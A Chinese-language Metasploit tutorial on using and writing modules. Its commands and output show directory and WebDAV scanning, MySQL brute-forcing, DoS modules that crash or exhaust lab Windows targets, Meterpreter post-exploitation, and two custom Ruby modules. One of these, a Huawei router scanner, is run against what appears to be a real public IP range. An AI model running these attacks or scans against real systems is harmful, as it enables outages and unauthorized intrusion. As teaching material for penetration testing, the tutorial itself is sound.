Bootstrap

Metasploit渗透测试之模块学习与开发

image.png

# 概述

Metasploit 框架采用模块化架构,即所有漏洞利用、有效载荷、编码器等都以模块形式存在。模块化架构使框架功能的扩展更加容易。任何程序员都可以开发自己的模块,并将其轻松移植到框架中。

# 1、使用辅助模块

在之前的"信息收集和扫描 "中,我们已经了解了一些辅助模块,因此在节中,将重点介绍一些最常用、最有用的辅助模块。

列出可用的辅助模块,在msfconsole中使用show auxiliary

msf6 > show auxiliary 

Auxiliary
=========

   #     Name                                                                     Disclosure Date  Rank    Check  Description
   -     ----                                                                     ---------------  ----    -----  -----------
   0     auxiliary/admin/2wire/xslt_password_reset                                2007-08-15       normal  No     2Wire Cross-Site Request Forgery Password Reset Vulnerability
   1     auxiliary/admin/android/google_play_store_uxss_xframe_rce                                 normal  No     Android Browser RCE Through Google Play Store XFO
   2     auxiliary/admin/appletv/appletv_display_image                                             normal  No     Apple TV Image Remote Control
   3     auxiliary/admin/appletv/appletv_display_video                                             normal  No     Apple TV Video Remote Control
   .....................
    normal  No     VSploit Zeus DNS Query Module
   1218  auxiliary/vsploit/pii/email_pii                                                           normal  No     VSploit Email PII
   1219  auxiliary/vsploit/pii/web_pii                                                             normal  No     VSploit Web PII

Metasploit 拥有 1,000 多个辅助模块,可能是目前最完整的渗透框架之一。

我们将从最有用的 HTTP 辅助模块之一 HTTP 目录扫描器开始。该模块可识别给定目录路径中是否存在有趣的目录。默认情况下,它使用 wmap_dirs.txt 字典,但也可以指定自己的字典;运行模块时,我们需要设置目标 IP 地址、范围或 CIDR 标识。

1、在此示例中,将使用Metasploitable 2作为目标靶机

msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.91.138
RHOSTS => 192.168.91.138
msf6 auxiliary(scanner/http/dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 192.168.91.138
[+] Found http://192.168.91.138:80/cgi-bin/ 403 (192.168.91.138)
[+] Found http://192.168.91.138:80/doc/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/icons/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/index/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/phpMyAdmin/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/test/ 200 (192.168.91.138)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看输出,我们可以看到它能够找到几个有趣的目录,例如 phpMyAdmintestdoccgi-bin 等。

2、另一个有用的辅助模块是 HTTP WebDAV 扫描器,它能检测启用了 WebDAV 的网络服务器。要使用它,请设置要使用的 PATH 和目标 IP 地址、范围或 CIDR 标识符:

msf6 auxiliary(scanner/http/dir_scanner) > use auxiliary/scanner/http/webdav_scanner 
msf6 auxiliary(scanner/http/webdav_scanner) > set PATH /dav/
PATH => /dav/
msf6 auxiliary(scanner/http/webdav_scanner) > set RHOSTS 192.168.91.138
RHOSTS => 192.168.91.138
msf6 auxiliary(scanner/http/webdav_scanner) > run

[+] 192.168.91.138 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

3、让我们来讨论一个涉及一些额外输入的特定扫描仪模块。

MySQL Login Utility 模块是一个暴力破解模块,它会扫描目标上 MySQL 服务器的可用性,并尝试通过暴力攻击来登录数据库,这里使用 Metasploitable 3 机器作为目标:

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.91.133:3306   - 192.168.91.133:3306 - Found remote MySQL version 5.5.20
[!] 192.168.91.133:3306   - No active DB -- Credential data will not be saved!
[+] 192.168.91.133:3306   - 192.168.91.133:3306 - Success: 'root:'
[*] 192.168.91.133:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看输出,我们可以看到我们能够使用用户名 root 和空白密码登录 MySQL 服务器。

# 2、DoS攻击模块

在前面的章节中,我们学习了在各种攻击场景中使用 Metasploit。在本节中,我们将重点关注拒绝服务 (DoS) 攻击。 DoS 攻击的重点是使资源无法用于其设计目的。 DoS 模块可帮助攻击服务中的渗透测试人员确定客户端是否容易受到此类攻击。那么让我们详细讨论其中一些模块。

在本节中,将重点讨论两个最常受到攻击的协议:HTTP 和 SMB

# HTTP

我们首先看一下 MS15-034 HTTP 协议栈请求处理拒绝服务辅助模块。此模块检查主机是否容易受到 CVE-2015-1635 (MS15-034) 的攻击,这是 HTTP 协议栈 (HTTP.sys) 中的一个漏洞,可能导致任意代码执行。

1、这里以Metasploitable 3为目标靶机

msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run

[*] DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看目标机器,我们可以验证它是否容易受到此攻击,该攻击使机器崩溃,导致蓝屏死机:

image-20230828133234438

# SMB

SMB 是另一个多年来一直受到多个漏洞攻击的协议。 SMBLoris 是针对 Microsoft Windows 操作系统的远程且未经授权的 DoS 攻击。此攻击通过发送 SMB 请求并将 NetBios 会话服务 (NBSS) 长度标头值设置为最大可能值来消耗目标中的大量内存。这种攻击影响从 Windows 2000 到 Windows 10 的所有现代 Windows 版本,可能导致关键业务服务不可用。

1、在启动 msfconsole 并使用 SMBLoris NBSS 拒绝服务辅助模块之前,我们必须更改系统中打开文件的限制。可以使用带ulimit -n命令设置打开文件数量,并将其设置为99999。然后,在msfconsole中加载模块,设置目标的IP地址,并执行攻击:

─$ ulimit -n 99999

msf6 > use auxiliary/dos/smb/smb_loris
msf6 auxiliary(dos/smb/smb_loris) > set RHOST 192.168.91.133
RHOST => 192.168.91.133
msf6 auxiliary(dos/smb/smb_loris) > run

[*] Starting server...
[*] 192.168.91.133:445 - 100 socket(s) open
[*] 192.168.91.133:445 - 200 socket(s) open

2、在目标机器中,你应该看到内存消耗快速上升,直到停止攻击

image-20230828134445412

DoS 模块不仅使我们能够验证系统是否容易受到攻击,还能测试针对此类攻击的补丁和缓解措施是否有效。您会对仍然容易受到这些攻击的系统数量以及更新破坏先前补丁的频率感到惊讶,从而使系统容易受到旧攻击的影响。

# 3、后渗透模块

后渗透模块可以在受感染的目标上运行,以枚举目标、升级权限、收集凭据、进入目标网络等等。 Post 模块替换了已过时且不再受支持的 Meterpreter 脚本。

Metasploit 已拥有 400 多个后渗透模块,已成为世界上最完整的后渗透工具之一,并且得益于社区,它还在快速增长。

msf6 > show post 

Post
====

   #    Name                                                         Disclosure Date  Rank       Check  Description
   -    ----                                                         ---------------  ----       -----  -----------
   0    post/aix/hashdump                                                             normal     No     AIX Gather Dump Password Hashes
   1    post/android/capture/screen                                                   normal     No     Android Screen Capture
   2    post/android/gather/hashdump
   ........................
     410  post/windows/wlan/wlan_disconnect                                             normal     No     Windows Disconnect Wireless Connection
   411  post/windows/wlan/wlan_probe_request                                          normal     No     Windows Send Probe Request Packets
   412  post/windows/wlan/wlan_profile                                                normal     No     Windows Gather Wireless Profile

让我们了解一些后利用模块以及如何使用它们。在本节中,我们将使用 Windows Powershell 执行后渗透模块在 Meterpreter 会话中执行 PowerShell 脚本。

这里以Metasploitable 3目标为例,首先获取一个meterpreter会话;然后加载 Windows Powershell Execution Post 模块,设置 Meterpreter 会话ID,并指定要执行的 PowerShell 命令,比如 $Host

msf6 exploit(windows/smb/psexec) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                           Connection
  --  ----  ----                     -----------                           ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.13
                                     3                                     3:49302 (192.168.91.133)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.13
                                     3                                     3:49303 (192.168.91.133)

msf6 exploit(windows/smb/psexec) > use post/windows/manage/exec_powershell 
msf6 post(windows/manage/exec_powershell) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/exec_powershell) > set script $Host
script => $Host
msf6 post(windows/manage/exec_powershell) > run

[+] Compressed size: 936
[-] Post interrupted by the console user
[*] Post module execution completed
msf6 post(windows/manage/exec_powershell) > run 

[+] Compressed size: 936
[*] Name             : ConsoleHost
Version          : 2.0
InstanceId       : 6f280c21-0671-49be-8261-5d1bc8489575
UI               : System.Management.Automation.Internal.Host.InternalHostUserI
                   nterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
[+] Finished!
[*] Post module execution completed

模块的成功执行向我们显示了 $Host 命令的结果。后渗透模块使我们能够访问强大的后渗透功能,并允许我们自动执行重复的任务。因此,如果你想为 Metasploit 社区做出贡献,可以提交你的后渗透模块。

# 4、了解模块构建的基础知识

到目前为止,我们已经了解了模块的使用以及它们的强大能力。为了掌握MSF框架,必须了解模块的构建和使用。这将帮助我们根据需要快速扩展框架。在接下来的教程中,我们将了解如何使用 Ruby 脚本来构建我们自己的模块并将它们导入到框架中。

让我们从模块构建的一些基础知识开始:

1、首先是定义继承post属性类,该post模块可用导入多种功能,例如访问文件系统、注册表、WMI、LDAP等等

class MetasploitModule < Msf::Post

2、include 语句可用于将框架的特定功能包含到我们自己的模块中。例如,如果我们正在构建一个 post 模块,我们可以将其包含为:

 include Msf::Post::

3、包含PowerShell功能

 include Msf::Post::Windows::Powershell

4、然后是模块信息,例如模块名称、说明、许可证、作者、平台等

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Powershell Execution Post Module',
        'Description' => %q{
          This module will execute a powershell script in a meterpreter session.
          The user may also enter text substitutions to be made in memory before execution.
          Setting VERBOSE to true will output both the script prior to execution and the results.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['windows'],
        'SessionTypes' => ['meterpreter'],
        'Author' => [
          'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
          'RageLtMan <rageltman[at]sempervictus>' # post module and libs
        ]
      )
    )

5、register_options 设置所需参数的默认值:

 register_options(
      [
        OptString.new('SCRIPT', [true, 'Path to the local PS script or command string to execute']),
      ]
    )

    register_advanced_options(
      [
        OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']),
      ]
    )

6、最后,run 方法是实际代码所在的位置:

def run
    # Make sure we meet the requirements before running the script, note no need to return
    # unless error
    raise 'Powershell not available' if !have_powershell?

    # Preprocess the Powershell::Script object with substitions from Exploit::Powershell
    script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))

    # Execute in session
    print_status psh_exec(script)
    print_good 'Finished!'
  end
end

分析内置脚本是了解有关脚本构建的更多信息的最佳方式。有相当多的文档可用于学习模块构建,但学习 Ruby编写模块的最佳方法是分析现有模块。

# 5、分析现有模块

现在我们已经在之前的教程中积累了一些有关模块构建的背景知识,下一步将是分析现有模块。

我们将分析Windows Powershell Execution Post模块,以便更深入的了解模块的构建。

在上一节中,我们已经了解了模块的基本组成,所以这里直接从主体开始。

模块的位置:/usr/share/metasploit-framework/modules/post/windows/manage/exec_powershell.rb

从分析模块 run 的方法开始,以了解它是如何工作的:

def run
    raise 'Powershell not available' if !have_powershell?
    script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))
    print_status psh_exec(script)
    print_good 'Finished!'
  end

1、首先,它会验证是否满足要求,验证PowerShell是否可用,如果不行,则抛出异常:

 raise 'Powershell not available' if !have_powershell?

2、接下来,它读取并预处理提供的 PowerShell 脚本,并将结果保存在名为 script 的变量中:

script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))

3、最后,它使用预处理的 PowerShell 脚本作为参数调用 psh_exec 方法,并使用print_status将输出打印到屏幕,后跟单词 Finished!并使用 print_good,它将特征[+]绿色符号附加到输出中:

    print_status psh_exec(script)
    print_good 'Finished!'

这是对post模块如何在框架内工作的快速介绍。你可以相应地更改现有脚本以满足你的需求。

# 6、构建自己的后渗透模块

在前面的教程中,已经学习了有关构建模块的背景知识。在本节中,我们用一个示例说明如何构建自己的模块并将其添加到MSF框架中。构建模块非常方便,因此我们能够根据需要扩展框架。

让我们构建一个小的post模块,该模块将使用 PowerShell 枚举域中的所有用户。

post 模块根据其行为进行分类,如官方文档中的以下列表所示:

Category 类别Description 描述
gatherModules that involve data gathering/collecting/enumeration. 涉及数据收集/收集/枚举的模块。
gather/credentialsModules that steal credentials. 窃取凭据的模块。
gather/forensicsModules that involve forensics data gathering. 涉及取证数据收集的模块。
manageModules that modify/operate/manipulate something on the system. Session management-related tasks such as migration, injection also go here. 修改/操作/操作系统上某些内容的模块。与会话管理相关的任务(如迁移、注入)也在到此处。
reconModules that will help you learn more about the system in terms of reconnaissance, but not about data stealing. Understand that this is not the same as gather type modules. 这些模块将帮助你在侦察方面了解有关系统的更多信息,但不会涉及有关数据窃取的信息。了解这与 gather 类型模块不同。
wlanModules that are for WLAN related tasks. 用于 WLAN 相关任务的模块。
escalateThis is deprecated, but the modules remain there due to popularity. This used to be the place for privilege escalation modules. All privilege escalation modules are no longer considered as post modules, they're now exploits. 这已被弃用,但由于受欢迎程度,模块仍然存在。这曾经是权限升级模块的地方。所有权限提升模块不再被视为post模块,它们现在都是exploit模块。
captureModules that involve monitoring something for data collection. For example, keylogging. 涉及监视某些内容以进行数据收集的模块。例如,键盘记录。

由于我们的模块将枚举域用户,因此我们应该将其放在gather类别中,因此目标目录应该是:

/usr/share/metasploit-framework/modules/post/windows/gather/

1、首先是定义继承post属性类

class MetasploitModule < Msf::Post

2、在模块中包含PowerShell功能

include Msf::Post::Windows::Powershell

3、然后我们需要填写模块信息

 def initialize(info={})
    super(update_info(info,
        'Name' => 'PowerShell Domain User Enumeration',
        'Description' => %q{
          This module will enumerate user accounts in the default domain using PowerShell.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Daniel Teixeira' ],
        'Platform' => [ 'win'],
        'SessionTypes' => [ 'meterpreter' ]
    ))
  end

4、对于此模块,我们将使用 PowerShell [adsiSearcher] 类型加速器来搜索 AD 并列出所有用户:

user_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}'

5、将结果打印输出

print_status psh_exec(user_enum)

6、将文件保存为ps_ad_users.rb,存放在/usr/share/metasploit-framework/modules/post/windows/gather/目录。完整源码如下:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell

  def initialize(info={})
    super(update_info(info,
        'Name' => 'PowerShell Domain User Enumeration',
        'Description' => %q{
          This module will enumerate user accounts in the default domain using PowerShell.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Daniel Teixeira' ],
        'Platform' => [ 'win'],
        'SessionTypes' => [ 'meterpreter' ]
    ))
  end

  def run
    user_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}'
    print_status psh_exec(user_enum)
    print_good 'Finished!'
  end
end

7、要测试模块,请在目标上获取初始会话并加载模块,指定 Meterpreter 会话 ID,然后运行:

msf6 exploit(windows/smb/psexec) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                           Connection
  --  ----  ----                     -----------                           ----------
  3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.13
                                     3                                     3:49636 (192.168.91.133)
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.13
                                     3                                     3:49637 (192.168.91.133)

msf6 exploit(windows/smb/psexec) > use post/windows/gather/ps_ad_users 
msf6 post(windows/gather/ps_ad_users) > set session 4
session => 4
msf6 post(windows/gather/ps_ad_users) > run 

[+] Compressed size: 1280
[*] Administrator
Guest
vagrant
sshd
sshd_server
leah_organa
luke_skywalker
han_solo
artoo_detoo
c_three_pio
ben_kenobi
darth_vader
anakin_skywalker
jarjar_binks
lando_calrissian
boba_fett
jabba_hutt
greedo
chewbacca
kylo_ren
krbtgt
[+] Finished!
[*] Post module execution completed 

由于我们不需要成为特权用户来使用该模块,因此它在后渗透利用过程中非常有用。

# 7、构建自己的辅助模块

在写本教程的时候,Metasploit框架已经有1000多个辅助模块,而且这个数字还在增长中。因为总会有新的软件和漏洞在框架中仍然不可用。因此,在本节教程中,我们将学习如何构建自己的辅助模块。

接下来,我们将编写一个辅助模块,用于扫描启用了 CPE WAN 管理协议(CWMP)的华为家庭路由器。 CWMP 是提供商用于远程管理客户端设备的协议。它允许自动配置、软件或固件映像管理、软件模块管理、状态和性能管理以及诊断。

1、当我们使用 CWMP 默认端口 7547 连接到路由器时,会出现401认证提示

image-20230828161630179

2、通过使用curl -v 详细选项,可以看到发出的请求和来自路由器的回复:

# curl -v http://190.*.*.44:7547
*   Trying 190.*.*.44:7547...
* Connected to 190.*.*.44 (190.*.*.44) port 7547 (#0)
> GET / HTTP/1.1
> Host: 190.*.*.44:7547
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Connection: Keep-Alive
< WWW-Authenticate: Digest realm="HuaweiHomeGateway",nonce="59586355dbea6549298e3b46c6ba3606", qop="auth", algorithm="MD5"
< Content-Length: 0
< 
* Connection #0 to host 190.*.*.44 left intact

有了这些信息,我们可以构建一个辅助模块来扫描目标范围,并识别运行启用了CWMP的华为家用路由器。

由于 Metasploit 可能已经有一个具有我们正在寻找的基本功能的模块,因此我们应该做的第一件事就是搜索可用模块并看看我们可以怎么利用。

对于本节示例,我们将从 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 文件夹中的 HTTP 版本检测辅助模块 http_version.rb 开始,该模块具备所需的功能。

3、直接看run部分的代码:

def run_host(ip)
    begin
      connect
      res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
      fp = http_fingerprint(:response => res)
      print_good("#{ip}:#{rport} #{fp}") if fp
      report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)
    rescue ::Timeout::Error, ::Errno::EPIPE
    ensure
      disconnect
    end
  end

如你所见,它非常简单:首先连接到目标,发送 HTTP GET 请求,使用 http_fingerprint 方法将结果存储在名为 fp 的变量中,然后使用 print_good 打印输出,并使用 report_service 将结果添加到当前工作区。

我们在此模块的基础上改造。

4、使用 register_options 数据结构,指定模块的默认端口号,由于我们要扫描 CWMP 服务,指定端口为 7547

register_options([
    Opt::RPORT(7547),
])

5、然后,我们需要比对响应并验证该设备是否是华为家庭网关。为此,创建一个名为 huawei 的新变量来保存路由器的响应:

huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )"

6、接下来,使用 if 语句将来自目标的响应与定义的变量进行比较,如果匹配,则打印并保存结果:

if fp == huawei
  print_good("#{ip}")
  report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway")
end

7、完整代码如下:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanServer
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Huawei Home Gateway CWMP Detection',
      'Description' => 'This module allows the identification of Huawei Home Gateway routers with CWMP enabled',
      'Author' => 'Daniel Teixeira',
      'License' => MSF_LICENSE
    )

    register_wmap_options({
        'OrderID' => 0,
        'Require' => {},
    })

    register_options(
    [
        Opt::RPORT(7547),
    ])
  end

  def run_host(ip)
    begin
      connect
      res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
      fp = http_fingerprint(:response => res)
      huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )"
      if fp == huawei
        print_good("#{ip}")
        report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway")
      end
    rescue ::Timeout::Error, ::Errno::EPIPE
    ensure
      disconnect
    end
  end
end

8、将代码保存到 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 命名为 huawei_cwmp.rb ,在msfconsole中加载该模块,然后设置扫码的IP范围,运行该模块。

msf6 > use auxiliary/scanner/http/huawei_cwmp 
msf6 auxiliary(scanner/http/huawei_cwmp) > set RHOSTS 89.181.67.0/24
RHOSTS => 89.181.67.0/24
msf6 auxiliary(scanner/http/huawei_cwmp) > set THREADS 256
THREADS => 256
msf6 auxiliary(scanner/http/huawei_cwmp) > run

[+] 89.181.67.249
[+] 89.181.67.227
[+] 89.181.67.179
[+] 89.181.67.22
[+] 89.181.67.152
[+] 89.181.67.193
[+] 89.181.67.169
[+] 89.181.67.93
[+] 89.181.67.44
[*] Scanned  29 of 256 hosts (11% complete)
[+] 89.181.67.4
[+] 89.181.67.134
[+] 89.181.67.166

9、由于代码中设置了将输出保存到当前工作区,因此可以使用 host 和 services 命令来显示扫描结果:

msf6 auxiliary(scanner/http/huawei_cwmp) > hosts 

Hosts
=====

address        mac  name           os_name  os_flavor  os_sp  purpose  info  comments
-------        ---  ----           -------  ---------  -----  -------  ----  --------
89.181.67.4         89.181.67.4    Unknown                    router
89.181.67.22        89.181.67.22   Unknown                    router
89.181.67.44        89.181.67.44   Unknown                    router
89.181.67.49        89.181.67.49   Unknown                    router
89.181.67.61        89.181.67.61   Unknown                    router
89.181.67.76        89.181.67.76   Unknown                    router
89.181.67.93        89.181.67.93   Unknown                    router
89.181.67.109       89.181.67.109  Unknown                    device
89.181.67.134       89.181.67.134  Unknown                    router
89.181.67.152       89.181.67.152  Unknown                    router
89.181.67.166       89.181.67.166  Unknown                    router
89.181.67.169       89.181.67.169  Unknown                    router
89.181.67.179       89.181.67.179  Unknown                    router
89.181.67.193       89.181.67.193  Unknown                    router
89.181.67.216       89.181.67.216  Unknown                    router
89.181.67.227       89.181.67.227  Unknown                    router
89.181.67.241       89.181.67.241  Unknown                    device
89.181.67.249       89.181.67.249  Unknown                    router

msf6 auxiliary(scanner/http/huawei_cwmp) > services 
Services
========

host           port  proto  name  state  info
----           ----  -----  ----  -----  ----
89.181.67.4    7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.22   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.44   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.49   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.61   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.76   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.93   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.109  7547  tcp    http  open   CPE-SERVER/1.0 Supports only GET
89.181.67.134  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.152  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.166  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.169  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.179  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.193  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.216  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.227  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.241  7547  tcp    http  open   CPE-SERVER/1.0 Supports only GET
89.181.67.249  7547  tcp    http  open   CWMP - Huawei Home Gateway

# 说明

本文由笔者编译,转载请注明来源。

;